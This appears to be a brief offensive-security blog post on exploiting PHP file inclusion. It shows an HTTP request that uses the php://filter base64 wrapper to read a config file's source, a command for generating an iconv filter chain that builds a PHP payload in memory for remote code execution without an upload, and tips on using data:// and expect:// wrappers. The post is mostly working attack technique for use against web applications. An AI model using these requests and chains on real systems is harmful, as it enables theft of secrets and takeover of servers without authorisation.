Chain PHP filter wrappers to read source and reach RCE

May 26, 2026 · 1 min read

Start by reading source without execution using the base64 filter, which survives PHP tags.

http

GET /?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1

When you control an include path but have no file to point at, the iconv filter chain can synthesize a payload in memory, giving RCE with no upload.

bash

# generate a filter chain that yields a PHP payload
python3 php_filter_chain_generator.py --chain ''
# -> php://filter/convert.iconv.UTF8.CSISO2022KR|...|resource=/etc/passwd

Pro note: the filter chain works even when the only controllable include target is a fixed harmless file, because the chain builds the bytes itself. If allow_url_include is on, data:// and expect:// are shorter paths; check phpinfo or error leaks first.